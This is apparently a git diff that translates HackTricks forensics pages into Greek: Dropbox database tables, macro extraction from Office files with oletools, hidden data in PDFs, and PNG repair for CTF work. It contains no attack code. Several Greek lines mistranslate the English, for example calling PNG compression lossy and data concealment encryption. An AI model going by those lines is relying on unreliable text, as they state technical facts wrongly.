* **Server\_path**: Διαδρομή όπου βρίσκεται το αρχείο μέσα στον διακομιστή (αυτή η διαδρομή προηγείται από το `host_id` του πελάτη).
|
||||
* **local\_sjid**: Έκδοση του αρχείου
|
||||
* **local\_mtime**: Ημερομηνία τροποποίησης
|
||||
* **local\_ctime**: Ημερομηνία δημιουργίας
|
||||
|
||||
* **Server\_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client).
|
||||
* **local\_sjid**: Version of the file
|
||||
* **local\_mtime**: Modification date
|
||||
* **local\_ctime**: Creation date
|
||||
Άλλοι πίνακες μέσα σε αυτήν τη βάση δεδομένων περιέχουν περισσότερες ενδιαφέρουσες πληροφορίες:
|
||||
|
||||
Other tables inside this database contain more interesting information:
|
||||
|
||||
* **block\_cache**: hash of all the files and folders of Dropbox
|
||||
* **block\_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal`
|
||||
* **mount\_table**: Share folders of dropbox
|
||||
* **deleted\_fields**: Dropbox deleted files
|
||||
* **block\_cache**: hash όλων των αρχείων και φακέλων του Dropbox
|
||||
* **block\_ref**: Σχετίζει το αναγνωριστικό hash του πίνακα `block_cache` με το αναγνωριστικό αρχείου στον πίνακα `file_journal`
|
||||
* **mount\_table**: Κοινόχρηστοι φάκελοι του Dropbox
|
||||
* **deleted\_fields**: Διαγραμμένα αρχεία του Dropbox
|
||||
* **date\_added**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι υποστήριξης του HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs** στα αποθετήρια του [**HackTricks**](https://github.com/carlospolop/hacktricks) και του [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,63 +1,60 @@
|
|||
# Office file analysis
|
||||
# Ανάλυση αρχείων Office
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
||||
For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary:
|
||||
Για περαιτέρω πληροφορίες ελέγξτε το [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Αυτό είναι απλώς ένα σύνοψη:
|
||||
|
||||
|
||||
Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include macros, making them targets for phishing and malware. OOXML files are structured as zip containers, allowing inspection through unzipping, revealing the file and folder hierarchy and XML file contents.
|
||||
Η Microsoft έχει δημιουργήσει πολλές μορφές εγγράφων γραφείου, με δύο κύριους τύπους να είναι οι **μορφές OLE** (όπως RTF, DOC, XLS, PPT) και οι **μορφές Office Open XML (OOXML)** (όπως DOCX, XLSX, PPTX). Αυτές οι μορφές μπορούν να περιλαμβάνουν μακρός, καθιστώντας τα στόχους για φισινγκ και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως αρχεία zip, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας την ιεραρχία αρχείων και φακέλων και το περιεχόμενο των αρχείων XML.
|
||||
|
||||
To explore OOXML file structures, the command to unzip a document and the output structure are given. Techniques for hiding data in these files have been documented, indicating ongoing innovation in data concealment within CTF challenges.
|
||||
Για να εξερευνήσετε τις δομές αρχείων OOXML, δίνεται η εντολή για αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Έχουν καταγραφεί τεχνικές για την απόκρυψη δεδομένων σε αυτά τα αρχεία, που υποδεικνύουν συνεχή καινοτομία στην κρυπτογράφηση δεδομένων μέσα σε προκλήσεις CTF.
|
||||
|
||||
For analysis, **oletools** and **OfficeDissector** offer comprehensive toolsets for examining both OLE and OOXML documents. These tools help in identifying and analyzing embedded macros, which often serve as vectors for malware delivery, typically downloading and executing additional malicious payloads. Analysis of VBA macros can be conducted without Microsoft Office by utilizing Libre Office, which allows for debugging with breakpoints and watch variables.
|
||||
|
||||
Installation and usage of **oletools** are straightforward, with commands provided for installing via pip and extracting macros from documents. Automatic execution of macros is triggered by functions like `AutoOpen`, `AutoExec`, or `Document_Open`.
|
||||
Για την ανάλυση, τα **oletools** και **OfficeDissector** προσφέρουν ολοκληρωμένα εργαλεία για την εξέταση τόσο των εγγράφων OLE όσο και των εγγράφων OOXML. Αυτά τα εργαλεία βοηθούν στον εντοπισμό και την ανάλυση ενσωματωμένων μακρό, τα οποία συχνά λειτουργούν ως διανομείς κακόβουλου λογισμικού, συνήθως λήψη και εκτέλεση επιπλέον κακόβουλων φορτίων. Η ανάλυση των μακρό VBA μπορεί να γίνει χωρίς το Microsoft Office χρησιμοποιώντας το Libre Office, το οποίο επιτρέπει τον εντοπισμό σφαλμάτων με διακοπές και παρακολούθηση μεταβλητών.
|
||||
|
||||
Η εγκατάσταση και η χρήση των **oletools** είναι απλές, με παρεχόμενες εντολές για την εγκατάσταση μέσω του pip και την εξαγωγή μακρό από εγγράφα. Η αυτόματη εκτέλεση των μακρό ενεργοποιείται από λειτουργίες όπως `AutoOpen`, `AutoExec` ή `Document_Open`.
|
||||
```bash
|
||||
sudo pip3 install -U oletools
|
||||
olevba -c /path/to/document #Extract macros
|
||||
```
|
||||
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να αυτοματοποιήσετε εργασιακές διαδικασίες με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την εταιρεία σας να διαφημίζεται στο HackTricks ή να κατεβάσετε το HackTricks σε μορφή PDF, ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα hacking tricks σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,52 +1,48 @@
|
|||
# PDF File analysis
|
||||
# Ανάλυση αρχείων PDF
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ τρικς σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
Χρησιμοποιήστε το [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** με τα πιο προηγμένα εργαλεία της κοινότητας.\
|
||||
Αποκτήστε πρόσβαση σήμερα:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
**For further details check: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
|
||||
**Για περισσότερες λεπτομέρειες δείτε: [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/)**
|
||||
|
||||
The PDF format is known for its complexity and potential for concealing data, making it a focal point for CTF forensics challenges. It combines plain-text elements with binary objects, which might be compressed or encrypted, and can include scripts in languages like JavaScript or Flash. To understand PDF structure, one can refer to Didier Stevens's [introductory material](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), or use tools like a text editor or a PDF-specific editor such as Origami.
|
||||
Η μορφή PDF είναι γνωστή για την πολυπλοκότητά της και τη δυνατότητά της να κρύβει δεδομένα, καθιστώντας την ένα εστίασμα για προκλήσεις ανάκτησης αποδεικτικών στοιχείων CTF. Συνδυάζει στοιχεία απλού κειμένου με δυαδικά αντικείμενα, τα οποία μπορεί να είναι συμπιεσμένα ή κρυπτογραφημένα, και μπορεί να περιλαμβάνει σενάρια σε γλώσσες όπως η JavaScript ή η Flash. Για να κατανοήσετε τη δομή του PDF, μπορείτε να ανατρέξετε στο εισαγωγικό υλικό του Didier Stevens [εδώ](https://blog.didierstevens.com/2008/04/09/quickpost-about-the-physical-and-logical-structure-of-pdf-files/), ή να χρησιμοποιήσετε εργαλεία όπως έναν επεξεργαστή κειμένου ή έναν επεξεργαστή PDF όπως το Origami.
|
||||
|
||||
For in-depth exploration or manipulation of PDFs, tools like [qpdf](https://github.com/qpdf/qpdf) and [Origami](https://github.com/mobmewireless/origami-pdf) are available. Hidden data within PDFs might be concealed in:
|
||||
Για λεπτομερή εξερεύνηση ή επεξεργασία των PDF, είναι διαθέσιμα εργαλεία όπως το [qpdf](https://github.com/qpdf/qpdf) και το [Origami](https://github.com/mobmewireless/origami-pdf). Κρυμμένα δεδομένα μέσα σε PDF μπορεί να κρύβονται σε:
|
||||
|
||||
* Invisible layers
|
||||
* XMP metadata format by Adobe
|
||||
* Incremental generations
|
||||
* Text with the same color as the background
|
||||
* Text behind images or overlapping images
|
||||
* Non-displayed comments
|
||||
* Αόρατα επίπεδα
|
||||
* Μορφή μεταδεδομένων XMP από την Adobe
|
||||
* Επιτελεστικές γενιές
|
||||
* Κείμενο με τον ίδιο χρωματισμό με το φόντο
|
||||
* Κείμενο πίσω από εικόνες ή επικαλυπτόμενες εικόνες
|
||||
* Μη εμφανιζόμενα σχόλια
|
||||
|
||||
For custom PDF analysis, Python libraries like [PeepDF](https://github.com/jesparza/peepdf) can be used to craft bespoke parsing scripts. Further, the PDF's potential for hidden data storage is so vast that resources like the NSA guide on PDF risks and countermeasures, though no longer hosted at its original location, still offer valuable insights. A [copy of the guide](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) and a collection of [PDF format tricks](https://github.com/corkami/docs/blob/master/PDF/PDF.md) by Ange Albertini can provide further reading on the subject.
|
||||
Για προσαρμοσμένη ανάλυση PDF, μπορούν να χρησιμοποιηθούν βιβλιοθήκες Python όπως το [PeepDF](https://github.com/jesparza/peepdf) για τη δημιουργία προσαρμοσμένων σεναρίων ανάλυσης. Επιπλέον, η δυνατότητα του PDF για κρυμμένη αποθήκευση δεδομένων είναι τόσο μεγάλη που πόροι όπως ο οδηγός της NSA για τους κινδύνους και τα αντίμετρα του PDF, αν και δεν φιλοξενείται πλέον στην αρχική του τοποθεσία, παρέχουν αξιόλογες πληροφορίες. Ένα [αντίγραφο του οδηγού](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) και μια συλλογή από [κόλπα μορφής PDF](https://github.com/corkami/docs/blob/master/PDF/PDF.md) από τον Ange Albertini μπορούν να παρέχουν περαιτέρω ανάγνωση για το θέμα.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλ
|
||||
|
|
|
@ -1,37 +1,33 @@
|
|||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
|
||||
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
|
||||
|
||||
</details>
|
||||
|
||||
**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies.
|
||||
Τα **αρχεία PNG** θεωρούνται υψηλής ποιότητας στις προκλήσεις **CTF** λόγω της **απώλειας συμπίεσης**, καθιστώντας τα ιδανικά για την ενσωμάτωση κρυφών δεδομένων. Εργαλεία όπως το **Wireshark** επιτρέπουν την ανάλυση αρχείων PNG αποδιαιρώνοντας τα δεδομένα τους μέσα σε πακέτα δικτύου, αποκαλύπτοντας ενσωματωμένες πληροφορίες ή ανωμαλίες.
|
||||
|
||||
For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants.
|
||||
Για τον έλεγχο της ακεραιότητας των αρχείων PNG και την επιδιόρθωση τυχόν καταστροφής, το **pngcheck** είναι ένα κρίσιμο εργαλείο που προσφέρει λειτουργικότητα γραμμής εντολών για την επικύρωση και διάγνωση αρχείων PNG ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Όταν τα αρχεία υπερβαίνουν τις απλές επιδιορθώσεις, διαδικτυακές υπηρεσίες όπως το [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) παρέχουν μια διαδικτυακή λύση για την επιδιόρθωση κατεστραμμένων αρχείων PNG, βοηθώντας στην ανάκτηση κρίσιμων δεδομένων για τους συμμετέχοντες σε CTF.
|
||||
|
||||
These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data.
|
||||
Αυτές οι στρατηγικές υπογραμμίζουν τη σημασία μιας ολοκληρωμένης προσέγγισης στα CTF, χρησιμοποιώντας μια συνδυασμένη προσέγγιση αναλυτικών εργαλείων και τεχνικών επιδιόρθωσης για την ανακάλυψη και ανάκτηση κρυφών ή χαμένων δεδομένων.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
